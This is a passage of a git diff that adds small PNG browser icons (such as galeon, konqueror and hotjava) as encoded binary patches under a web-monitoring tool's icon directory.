zV!BpWvAxHW{=oM<`qLhkZna3=ktwwxGeUSt6UXBx9unqLiY`y{)3&I3$?f5}q^rb{ jDMe_J=RZE1hes~l6`r8?>`#V{vCxdLd#|6?|Gx<UF&k#s literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/fpexpress.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/fpexpress.png new file mode 100644 index 0000000000000000000000000000000000000000..2111c71c7d2862159cd8f97512f1146872d85840 GIT binary patch literal 420 zcmeAS@N?(olHy`uVBq!ia0y~yU=Rdh4kiW$hAsRT)-o_Ku%tWsIx;Y<KVi<=^^$>s zL9)a(q9iy!t)x7$D3!r6B|j-u!8128JvAsbF{QHbWU37V1EZOzi(^Q|t)yT6Rty{p zVr)4LlP3zE`}gm^{VW{^2E)Xw0&zyXD@2+me064UVA$Bfb?T7i`up~65<G$8&)2+r z@{r}B(rq>Y2Zil>|9x-?abP>a@aq4khn$l>UT$cbaf^YegYkvBAfu!Le}@7OAKL^4 z_8EflM!E05?G;$>e58><p<#hYSgym>f?NSM7a4^Hi3f@tA-oqER35rHg*clW_{zW{ zARNWuu;;t1*d2%SId}JocT70UtI#0vUzwF7K$hRapn*Y1BBPK&kdZ^-%a6#NHHzyZ z+N2o;9A3OkxOi{2K(0gh!K(|8@;fjre9`F6ZD98O?Tz+OW&s8kfnB#7E@@Y9YS_kj z(;;_;R0D%T!-ge+J8~V)9uPQug-yVLXNQmtd)65xZ$=h@Z+jTF^9p%qd}CmdV0boD Xx$4Q?8<Q9q7#KWV{an^LB{Ts5uX30J literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/fresco.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/fresco.png new file mode 100644 index 0000000000000000000000000000000000000000..3321eba266c833568aa3989728acf13f444be92e GIT binary patch literal 708 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZSkfJR9T^zbpD<_bdda}R zAX(xXQ4*Y=R#Ki=l*-_klAn~S;F+74o*I;zm{M7IGS!BGfho+>#WAGfR??sU|LvIt z{-p0HetvECclrDO|7jmT|M$~fYunINK~G6G6$Sx^9*3p->;733J~^>^`uU})OUq(+ zoIQ7H-|MII>+|EbxLDqfh&nixiACV?e*69A?{0jZ)A;r5_Wjq_%}ITp^7D6i$@R<e zGLIHrs*m5cbGAjqY{w}~ECQDgvwx31XJ_^2%j5q2_D@rnY&CsiXRvX_r@xyMetmkP zUVnVo-~0P&+B8@>6qcP{Z~s?ds`b||*Oz}k&pU<XzhTFof9L<aICb`}xL#*%^^d<F zo0Z%99i}j`FlaMe`Ok9e<1f}9Kfiqa^O;kH_s9Er2QI$4{X*SHQ$tH_&v(90XO8c@ z^3cuwF9Q=ZQ-|lA*2dr0`9(u7R&STH|8aWxp?~-99jhpdY}?tTbh|tK(7U?lGk27| zw`VXBRbT*{&m_RXWUVYJ&+&(ionimAJ3K5bWvLP0FC4x3@R7WljIAJp#?RN+E}Z}O z?;jIHgS@c7oA>XeWh4R})ctg%L^xO<y?A}-&39)}b|=QKC!T)hWBj9~rS<#wZ>R=c zbu~+IzLyUlD)91XOUTG`Grj-({_4Fq2Y+&&<dl)Vazcpl-}}#>+1c5dIyxIC8XmoV zHGb0b4_kNl*Z+GgEd0Cj;R#N^R`2-{_wMY=I`ix0=ilE~oqFZ4ory(&+d^)}UK?AU zc{VpIA3UfJTcB=#Vzb@vx+i`D->0w7(W&0QPGtX~b!*r13OMv!FlpfWSO5Fd+wb{q zVc+`Y?M&CMv-??-y2s7bfx+;PI?KNLzc-Eczx?rYF#{tTLxi%L`M%BHEEyOW7(8A5 KT-G@yGywq9k5dr< literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/freshdownload.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/freshdownload.png new file mode 100644 index 0000000000000000000000000000000000000000..b06cb888e433da2a5012a2cfcb509549d7c22324 GIT binary patch literal 623 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>ZO$_Z%6@r3hj zWnf@Z_H=O!shGoh(AzsCQG(&Y`@eb5=U7f&Y<$%uirZD$Ky;HPM-+>ri*)hjMfMk# z-P*!&$IX6$t8SFbg>9}0Zx^|CEL2kRiqx7l?Wu`O`m>m4HQTp8XUsJfa=$3pbe846 z+(oz3icJrG`M8EvmmXkRDm#^7r=iI115f_!ioF%CmvW*<_0aQ4Dy!OW&Q9JUvxtpT ztAFK#`THOKNxK)Gys%%Hm5G7d`mNJW{gV=zOD~u1-|wT5{N(iaH<xGeRxcIjm|MMg z`QFpbIo1FBPv-1oS^0eL+~Bhj!M<lcshwP!-m##Cu_0)J^mBn72`dirpNW%O_r7S? zj#skB8lUv3T)elQLu2U`K@|~&)1`AtqT0IxH{V`RVr{t6b^1-|<i_bTI{AOqdK!uY zPtVNz{%gX`8}}}?9g$sf=2vX$A`WlH+Jfwg17?%*#2e-Hmz2MbTl+@UU7}oJtH<%* zy&^NLDn8cv3;r&sdNM;@_SH=5$Lf8e^Y_G^><N+5R$Y*Mcu&xo<imA;R-f5($7}PJ z_Fy*0_!IKB^M7w>*m_WL>D`-*?pt5_#A<wG$=tYOa=85dEVos<OLu<HDJ<iCEv`OW z*0AuBAD>mnWs@&QPo2MZ*?f^}x96Q1E4Jy%ozY{Rey;zRTfFqM@A;n_0#9spDw(Gc z&wpii|Bl-t+P_b2y}f)@>%yoA`}Ae&IN~LIZ7%pJFDf*7Fl$1N@~7!xQ?D#_$}cJv js%o%4w8fe2hkRC!{@sfVzYj7nFfe$!`njxgN@xNAF3}x@ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/frontpage.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/frontpage.png new file mode 100644 index 0000000000000000000000000000000000000000..fdb32123ba82901f4289a250e364fcbc7cf3f337 GIT binary patch literal 662 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>ZO$_WUHds;?n zGB7ZCdAc};RLn6w80`_9$iV*L|M$6@yN|EDZF2e9Grg#kvooeo;ku+J7Q`PrPgiB- z38keSi!@FhSK(MBy?2GJi=>*0XCjyD6qTi7T^fg@HyN6m-#xdlc;EWvb@r3ut9m^` zj7~T)I5h|;CYX77bs37KuR5jT)gn+e>E!0()6f0F&F9`aZ4$dEgd@-3)WMfW7s?w? zeJbakCzYI(m$-A^%DJyRZSN)(KEKIzH!^Pe-RbkE`fONt?_$IKkFU;_FDqJq`d!ft z3kSyqFJ~<)W?(S!y|I?-%adhIZ;rLCx~Be@d!cCLvN_yb91NRWs_p;T6@4na`muT~ z|L-Xw#h=e!H|zd+;oqWN+_DP`&ZJCHm0)J)6ANzK^*PsVvPhrH@BMz~+815dzqaL0 zy?p=b+1%Gz)5X-A6S)qGHZNRU9AGAGS8B>%Viw9`ll=IzaPY$0)3f`pu}xca@{w-e z)g4}rn%6y>R%Wm6TzD~ZweHqUSCoT4WxwgaKK18{x1Y}$`FGxz>^7E+Y524!X7{SB z@Tgt3ez)&NAK!KV@13|ubwA5)JU_SQZm@|UkGF`(6qoB)jtTFseK)5u|MA<o&C#ph zH6(=3e1GurzE`rW3=B#RDJO!Qt`=Qe{(XyiNeQ2yuYOogapfoD^D(uBJC6N-^HY53 zy#-5VvbOWYh6nX96m2rrn|rtYzfcc<{~5MFe(Ce(W?C(5iZC~uKD|QAYp<toI|G9g zhl0_iGZUB2a5dyqa#zx}m3Q+<eA*k3@-{z(HKgeQ10w^60pC%UV+UA$*q*b!wr^Sg W&tY?3VJ-s$1B0ilpUXO@geCwSn<}IL literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/galeon.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/galeon.png new file mode 100644 index 0000000000000000000000000000000000000000..92d0a221f6d948db814ed7f4e593b379fd00fe80 GIT binary patch literal 288 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)Gcp>PWTgnF zGcYi47I;J!Gca&{0AWU_H6}9{7#LX69eo`c7&i8E|4C$JU|=u^@Ck9{;o%XKQc}_~ zw05vGatpPJsmRJoDC?X&W$o5g%ja+1IA{Oiz30xIyLRo`_wU#K|Np<_Y-%+F1A{<G zkYDhBRKV~+IaZQ^fg#+}#WAGfR`QSk|D*r?|Nmd|-~V%S85SD9KKR8@vDU!$WpR|z zgnu&yYR@#hv_Jg)$i6Bz=LJ8Gb1fE8SNOZt<}8a(yS`Z=!=?YR-Z4)cO(suP@~~$) bkijs|!Cl0>e7+(B0|SGntDnm{r-UW|{iSnd literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/getright.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/getright.png new file mode 100644 index 0000000000000000000000000000000000000000..cb70df8779d64e75a1641c700a324c31fe73edc5 GIT binary patch literal 278 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+?OFp2WXY9EdS z$#52UL>4nJa0`Jj<E6WGe;61TSkfJR9T^xl_H+M9WMyDrFbMDoab;j&XaM5|Fx9}& zz|hce;J|@~hKBzP3=IDn{)4IiVAlWt|NVv4JQ)}mGCf@!Ln>~Gp4rITY#_q+Fka`u ztW&3=4`}Z=A$7vnYg(eJOQ*|Gg}w?`6?gVL|6Tqcu4X$1T+&x6Um^OJ`?ceg`Dg7+ zOt0NMw5<E?y@i?9Wx+50p1SETc(T#6_SoN#Zb6lIcHMCJu6U4Fsn)gVWL*DM1_lNO MPgg&ebxsLQ0N2iAfB*mh literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/gnome.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/gnome.png new file mode 100644 index 0000000000000000000000000000000000000000..0b388b6daded40d60d24811c6053b4487fa45443 GIT binary patch literal 710 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4mJh`26+$Niwq15oCO|{#S9GGf*{OTpAtWj zfq{X&#M9T6{TibPqkvdwP2pVz2BuU`7sn8d^SKveJ%SS@*gyQQzE|A$d`@na+4h?` zdg&VJ#ZR}mHhoV1+`T0)^w$If?<PH^CcQl$S9KrgUe~g~Tc1gP%^D6}qm$j2jC6E* zPi^s8)Mi{NpT76*5}zBzUu{18dGJ%=gut>lIR?j67&r~wB$Cw_HtC!Wtgrm}?8Xa? z$Cn(}T|E}P#;o&`liu-*n;RV-2t2LicYn#-_xRYIyz+4O>fMYCKT1vnMy*<vr6AV* zQd(NNHg0`+&9}F^`Fl2A7TY|t#pz+!s#U8L8R{(<ZoJkC;o|DH2@!Zz9P)M5{rBZl ze$`x@HEULBoWR|%-E&P$%=Flr4<4Vj%$1>msbN-ju~yf^uEP`cw{4TVtMz%ht*6S@ zsav<cm^07oXy4W?M-Dx_aJE3B#9!p-*SUeB&5389e{?bNJslnScc+1gO_8Ep|8w=p zo^jJu_SAe$yA=6ADp2I<^>0x&3^RO|d2}x0-BV#(T$%avwx#XNEesDd^%WK_zY(VN zQM^TlWy2<JKVQEM88PLIE0`CS`7Qb1fAnDD_T{gfx1LtFzO}D>{>vkJ91Jbuy$o00 zMom-6IQm=p_-tvlS%*viZc;h>?$-f7w^sQDkHiB6=O`$~MF0Kz=;yk|ha1x$`>OAn zn`=8gMpAL{7v<?wzX~+{n9ZqlChYd-dH1p}8y9oeigo||mH5B$RZl_Pql>@h?b&nN zZ~13F{Zq4>%iWm^=YD;*A}u&|LDJThW;>?vc~%+zublYhzSNy`BPoB?Nma`OC*I9V z|2Jj*k`?<ey{~rQxOs+yvB9wIx4$~?dwbny5-E`y-^GsiO_}P(q1gFlU;Q?XLy~6& Twz)7cFfe$!`njxgN@xNA&S^*z literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/gnus.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/gnus.png new file mode 100644 index 0000000000000000000000000000000000000000..ddb59a75403d3cf9addc45e00c0c9de614e2f5e1 GIT binary patch literal 930 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8T@LUGaXtBM<EQ_xKK_6C z{{Qne*JpqK|LNQRk6-@3Kk#Pt-~Ye={Qvd)|Ic6lfBgLaeb0;KOU_RF^7GT8vs1QR zUw!ZG&8^p0-F<sw%k`BXzQ4Qu`r4+e%inx`b?yJ&tN-_0`M>+}|6P~<?>zf+%jxf% zZvQ`e^Z()N{||1wGk?RKc@O@dz5oBr-T$XfJlk{a&Ds60S3doJ^~wJ$%Pvjdd28*G z3sdiZxViY;l;dx=Y`L~#!<8jBUR`?q<;BbYcV2yY{_o$vgZFm4_<#HAi}PzPEm(bN z{>6XWS6rC0_2Hto{~y2k|LD{I*LVJ%IR0hBkq>LHzdyVB`s|<ozyA3D<@^87%Pvm) z|Nq~=|9}7f|MT+m(?9=z|Nj5$&)?tAKR#Y{aqgw(r+@wZx$@$iy|*{-xxMMa)04ZN zE!%y2<B#9p&p$o!{r9(J=V$J^x#7|Kdk^2={qpnk>BmQ||KES@|GumL_g?wG=gE(o zXMS!u`E}!ouN&_CKYsiFvE!fD-vW93$huo|*WQ@3=Em#?|IeNNy6yh|v(NwEc=rGL z-j^$${J(nf*~vY(Ha_}$dDqjWk3Zb|{_E?qb2FBnoBs9J=N&iJE<QK)^N){<&P+M= z=+MG5lQ&;mas0vlV-NPd`}XGOgS|IjU3v5W!R!C`*I!xk>i@mhUtYfafA_`zJLmsw zJNs+PnID@!{C~dr{=#?vpRT_>_sXAr-~NC2`v3ix|L;Eke|zM^y2BsV9(uQC->VhB z|Nr>)|NGDX-<DsVvFzgXCFiGp{`uj=!~L7CF1z*m%Db<x-+X;}<K?Bp_jj$oy!ikB z|Ns8~J9KyF+RF<s|KEA(|Bl~(f3LbY@50}0dv9;qb9?iXj}MofpSAPJvK#*oUjKjK z+W-A`{-3!0|M>CG8;*Tmf9d<aRo7;%yfX9A|BK5nO~3o@+M#<p)?Qlh_urp2m*)TZ z_xt&m$NTSW-FIipuRlL8K0EdE&yN)sW?y)Aa`&x`k3Zc1_Ur4?b2H99IrjC}m+g-i zFFZ5l<Bty~9vyu9|IwTO56}ME`t#H>Sq26M&H|6fVg?3oVGw3ym^DX&fq{X&#M9T6 z{TibPldj2&O~>vrFfb%}x;Tb#Tu;8y%<}8I!JC`LTleq(&)ZTy;ozot<|AE<-tsJ` z-Z6gW|0d58#G_#PclCrX-;59R%-Y9(?#|&I>HXY2+N?@C-wveme{0_2w39v2N<u-c nO`&kR(j3l5s}>hcWMJss*7o+rob=-i3=9mOu6{1-oD!M<sQIbK literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/gozilla.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/gozilla.png new file mode 100644 index 0000000000000000000000000000000000000000..eb1578e15fcb43f8f5561fb415f4c095b94d9930 GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+?OFp2UhvaC^U zVPIh3EbxddW?<kJ0%68WckBKzFfg#BJNh~@Fl_AS{*%bcz`$S-;1lA?z`)P|#tmSq zfuVt+0R#>lIPjl=f#E;He=zkQ%=-WTf3^I^BMb}-37#&FAr-e|Pi*8p?7-t3xbA>f z!PL;00!HTNzIqo@nO1U#WL@4-^zIY4UBiZb%mO*_+&fClIP<QV%6=4@Euc4v_uk3p zvtPJxT-UNq<#m3T-Lw6vg$Ke8FBhDDTk!j<-^@!6sKxJeO@6|_z`)??>gTe~DWM4f DN0(i( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/hotjava.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/hotjava.png new file mode 100644 index 0000000000000000000000000000000000000000..6bd83dadf5a1fd928febb4eaa477acb4b42dce51 GIT binary patch literal 791 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4mJh`26+$Niwq15Y)RhkE)4%caKYZ?lNlHo zI14-?iy0WWg+Z8+Vb&Z81_lQ95>H=O_N$Ei;`$1=?KgKZFfc9gba4!+xMe%RGhaBJ z!QuY*vpvTjOTItHq>{&>Y9e6Zol%%6xJp4mr6pvgQ2pZN-#q*;Bwv*ldUTADMSKFs zY>wLpMP@N96ig|UVLx=_Sl{IvAOC%Acwue#GIrhsCjlO|Ol{T%hGomb{scXey&-n) zpt^qRf)Fjn3t3wq9om?C?Nq8&lI--!?0$c?Z2d3obWmc~m%u+ej{SHN`mQHdaQ@@- z9n#mQ{(rMGd9}Ta-J$7wl`DAI7b=MH3Gi7;>^gS&WA&eZ&-Kro^Zgf}HEnau?VY(T z^LTG_{`eEo=IVas*?jZNXO}FM66FtfvQ(GLKm9seJbl`opZA>>3T#@-GHYE2i<xkV z(wCf$Prq_!C9QNwTG8*6$!osdE8OJVOZj>?ug)N@ofGQXUq9<?W%`jTy#GA2hF7-h zuH7=fs**yqO5fSdNGN!1_w9{TAlHO8#hK@NCZ9W(FmqDXW|yP|vwgN5dhu6$#x6I7 z1jQDG`S};*{p)t+RQ~!Pu{UOSCG-5i<l_NT^2_s|Txew3eoXDh<3}2;Q?)K`IQ-|3 zkeqRk+E(RT4=!9!-_zFjme*kVS>-6Uzq6H(?6x-aZNGBgf5vH_q*;ciUYllpWxBjM z*}LdLw_{N&tAnzs;n}tA{h3!xuD$l1^qbA1^pAmjQRSVds#3m=E9bCYbQ0rowOTCp ze_HG<5s!C2yQ;Q2W+{0ujY_S!ZV)T$D3vv@{GD-;e5@4j*VSkAmK%J@3z*B3ck}f3 z-~2)A%qsur9DVbs`rdP~iEg6Due<6zdwgjrH)pHU^}S*<k4~>xTh~`xK56Qv1$Rv@ z+C;vysq)s?)%jzYoYKSIKVNIQ?(L|^{GIdV>m#jgZ&jttKKznR6EhCEc3Z}4UYgnG xuB^2_OJ9Ea@U3#5z3g2f9u`fp?vMW&!U{N&Pnw9VVPIfj@O1TaS?83{1ORi5X%_$h literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/httrack.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/httrack.png new file mode 100644 index 0000000000000000000000000000000000000000..75597016e9f13b58fe542d15116dc215248621bb GIT binary patch literal 894 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8GX(gAxH2#>ME$mV|N7oq z0|5q$dkg|STTg%IkZ8GQ!eLqXJu!Lty=|5=XPzm}O=gIE&meJb?W#HNzyJUL`+N1W z_fe5i-@m`#+9&b;{qu9@?=b{EXGr^h?E3%z&s!K|mTFG=FOd13!SUSl+@R`3*BE@i zGgxfp2)!58_q`^7{od>U42A#ye{cAGxpeRO|9j^dwzRcWx2?SwYIyGUf3L(AW8<_r z+phip|9?)Ugi`eG|Nmz)M1FrisoHqv|L2~H|IeiLZ2Q0U{C|c~Fd70BgaB*tQ&k2A z2KEw9Usv|4JR)4m!i#lw&S79+Q1f(g45^rtY><|a@PLs~PvP*4#uPnqi32+e9C*T6 gSb9!w7FQQ%m~x!sUPR5jCXgFEUHx3vIVCg!05Hdn#{d8T literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/ibrowse.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/ibrowse.png new file mode 100644 index 0000000000000000000000000000000000000000..8ecac94c38c667807c20f8e26c96ebe40a786c22 GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+?OONp^rKa6?H z&%nUIS>O>_%)r3)0fZTy)|kv-U|?WLcl32+VA$Bt{U?!?fq}swz$e6&p?EDr^;&`K zr5xoO1&Ws%rcF`o*=srVz)JIgdzq!vjz4&R<mBtGzyH5~|Nr~<|NsB5QJ=A#fq@~x z)5S5Q;#P731Jk_!{~MR=U~E|zf1p_2C0w-R4EseM9=YF*Cclf?I0RxpcP~tSX2aI@ zC0<8%d$pv*j(wZU{<B>&Ymcn1KgXVBpL%QeXS)gedsY_fx!9k$W1?{4_kVc?BL<D5 VekNY885kHCJYD@<);T3K0RZ78X1xFa literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/icab.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/icab.png new file mode 100644 index 0000000000000000000000000000000000000000..c30ade7aecfb5de775cb3e4915b6459ceab91d93 GIT binary patch literal 314 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h#VKN}P*Q6H7Al^Atid zb5j{oGIRA5j13iX6N`!!j0_Bn6b#I)j4iATO%=2a3=It4EPPkWz`(#>;_2(kewmq( zQP*N!N8lv}1_sUokH}&M2B8=bX3RKZ*2%!Yz>@Ch>&U>cv7h@-A}a#}gF%2#h-*@L zeaVD{%VuOwS+e}X&iZ>>gI=B}_<t_Ddd}YZl}G1n-P^PC*3zwe*Y4fA_t@6||Nloi z_+4XQVBjeU@(cct01QI+&z)mnV6gUdaSW-rmHdOBk!Q!t`FDRG+_F(2_<w!deYK}g zpX&YN@qPI6=~JzrJW75w`Tm6rPtCpF-@CbYeq%!=L!Xm>?*FdID;XFV7(8A5T-G@y GGywok8GPmd literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/icecat.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/icecat.png new file mode 100644 index 0000000000000000000000000000000000000000..c3bd099ccd5065da935dea7a9b83546af33b2c6e GIT binary patch literal 421 zcmex=<NpH&0WUXCHwH#V1_nk3Mh1rew;7xnIN8`a*x5Ka*g3ekIJtSn_<4DFc%?-| z1;i9&m6Q}@<>gg0OmtM#4Atf3b!~MGP0g*WtdzCwUF<EKO)Ra<L547LadGkT@JjLX zOPQ<6tD2Jx{vTiv<Y3@q;A3V~Vqg+vWEN!ne}qAdff3|Z1_WSbVf%lCK|z3lk%ftg znGr6*$i&Pd$jZhbB&=xI`2Prl2%0_y2A2Ov7$gN58JL*inixRAAj~AV@&7Fb9%e=c zCP8LF2787JZ+~{~v^^y!C%j3R`$R<Hwb&pgS*8=FVXn(RbUl{x%Z%K<<XG?IDN~(2 zoX^-ySh~<*0%uU;?pOYoPnzA;eR^*Cghu@%SC$8Sy8SL-**vD*3mWPgbmTM_yn2@~ l=cM0MMI+TGGTem+v`%QLTxHN%@k^%8(_u~%+gs!RHvwqoXUPBn literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/iceweasel.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/iceweasel.png new file mode 100644 index 0000000000000000000000000000000000000000..90f3881c646708632b86659485f136997405210a GIT binary patch literal 419 zcmex=<NpH&0WUXCHwH#V1_nk3Mh1rew;7xnIN8`a*x5Ka*g3ekIJtSn_<4DFc%?-| z1;i9&m6Q}@<>gg0OmtM#4Atf3b!~MGP0g*WtdzCwUF<EKO)Ra<L547LadGkT@JjLX zOPQ<6tD2Jx{vTiv<Y3@q;A3V~Vqg+vWEN!ne}qAdff3|Z1_WSZV*P)FL0N!-k(rr= zi5V`z$i&RTDyYc7CS<4-$S&;o{|JL9x?Tommj6c>WCa-*nOPa(IvE&10!%`RMvjI5 zZ!z#NGcqs<G7B=;GbD%K?VK7>#iFwI{+b=9dv2^)-Cyyg`2N~hsYUnR$IQ48Up4Pf z9#`SB15XxI@>y&%?ccN9<;K?M&ri0@6nND#VcPjwG25r{t}(u0zucqFu${ML>$QjO ih8F`*MQJ|?nlg#?{JxK?*LTf0og-0wsYk}@|4jham}=qx literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/java.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/java.png new file mode 100644 index 0000000000000000000000000000000000000000..5d9ce9fdb12411840067c54161a93e71bcbd994b GIT binary patch literal 288 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq}swz$e7@|Ns9V-+xcb zUA$+;_TEW5E?s*3|MU0n-~WGq^78-p|KI=r|9|k*?`yZd&s_EY|M&l|-@lE#vy*{= zfw3gWFPOpM*^M*?28J|G7srr_TgeFtGd83%GYfnuGyc%<;%<)cfiLavewRC%oWGy_ z+wn`=-n%&pvwpwf-C*PVE|cvtI}eZ2F*Q9WHXfdyuxhEpED{noVttvN8ZW)^^PA_; qW!j)SXRmEzqvMGqu9_1V89KPd1K8_Ac^McO7(8A5T-G@yGywqNc6RUp literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/jetbrains_omea.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/jetbrains_omea.png new file mode 100644 index 0000000000000000000000000000000000000000..81f2418657849d29818500aa0b9bedc6a8d95466 GIT binary patch literal 676 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyV7iy6Jy? z!@$54;pyTSQZa}1;9c+FKn8{n#pm|kzWe>%n^!sIX=_upXIowh>frDR;#$07`HAUr zZ(LVRkNcy~)V!ko#YRUV6+yu$VV<*s+E;!aeP_34_qm;K-&KE~SN!X*f?`Whmq3^6 zWcz(<mm8fek`3ySTwwY3K}mmg%AW5_{1sXpd@n~%n>qjY=by=IJazAG^I72gXwD(U z4{x8uM0!4(+t%LS&fZ=-AxJ8+V}JeToQ=`yR)?6saj?bA*5tNWtYz~fsA|iP;`<FB zzH|pZJ9*_Z|NFX7lXvs1Yn(aMvl_3jOt-O`<$aGoG~M}M)2+hv$LnL(Z=bQCKF2)p z>n!8Rk50dDFMqnMJZR2VqpwPN?>EVBI@MKCXff+!2)FB$vrkO3zC=IjxT<d%Zk}Dc zKFGMcb)(caJyG|Lb28aSj|e+OuHD?iu;#UIj*ZsM$O*H{&aVkw|E#qCxDM~GFkVxi z2@`|37!qn3H?~gQlUuU#x7a1^9b58ERb)&hgT7eH3t67b*f(h+pNt>(>yMvq&-Plm z<~vUe-<)iAh7gkrmm21*JN|#^bn|aA*~=DfGB>z#HsWHy)=NekIGomO-IBF4(cHLe zN~(wLwq0|lo<7^ASN8F-uw%)$J+lRvByT({Gt&88TKD(un@iWi;$A$_ObOXK(MLvB z{HJlFU)igdUte@>k-7PnyYe<m^oIT3mrGp3o|bG}WL7a<wLHM?Y5wvlPEMRGAA&7T z&5W3SI;(g_#q^_DkKgbGrzC3cn)KqWaQ;0$At!}n5)2&zcRIB#U47NLy|%4+eIv&# mNjCn4`1)QJ4n=`O|C!_s)L&np*UP}bz~JfX=d#Wzp$PzsNIG=@ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/kmeleon.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/kmeleon.png new file mode 100644 index 0000000000000000000000000000000000000000..a787f6c2b94f214e6d60ecfb92e3da0db070bad6 GIT binary patch literal 288 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)aSE%5xxAVv z%D}+DS>O>_%)r3)0fZTy)|kv-U|?WLcl32+VA$Bt{U?!?fq}swz$e7jnvcoaRj84L zq1;<rcnX8vRO#Z`*0U!}j5udJ^-A-(>qj3xd-&!1$M^sL|Ns8~|Ns9@KkHX9FfbH* zx;TbZ+)DoOKl|#x|Ns9R|Ea%c_1kvBzs*T)zbzGP7au+P@!jwLJi2{)>yAGCFS%{! z4hsXr>&AcPsVOX3qH^@Z|GUX*s@(-`|NrmPp1oAk_|O0UF}i1&e2m*WJDFd`JN2A& qDE<FmHy~jR<E8)cqT%zI83JuBbH40cvyp*;fx*+&&t;ucLK6VASa`<( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/konqueror.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/konqueror.png new file mode 100644 index 0000000000000000000000000000000000000000..3fb315dbfa85ace41d485cc5fab536bf475fbb13 GIT binary patch literal 285 zcmeAS@N?(olHy`uVBq!ia0y~yU;wfCIG7n27!+%3XM(5_*N76A)Z*l#%z~24{5%Hd zqSVBa)D(sC%#sX+kc?CXcTeAdsdYY`3=9nHC7!;n?3b7%_|$|AH(p6$U|`@Z@Q5sC zVBi)4Va7{$>;5n>FtDUM`Z_W&Z0zU$lgP@zz#tvq6XN>+|Nk>*&di)S)7aQJEiLW; z|NjgO3^Qk@F)$cg{g^b5fq{XsB*-tA!Qt7BGzJC+Z%-G;kcwNTeV#%G95|Q+uRQs$ z-)Av--;Gvp&KVx7Vj11GESqtvZzGrQjD{b3xY|!7b@PQs$5~mu;LE5Ly?k<Y!lUrT gR@475mcC^!dCu6>@%x+<0|Nttr>mdKI;Vst08lqzQvd(} literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/browser/leechget.png 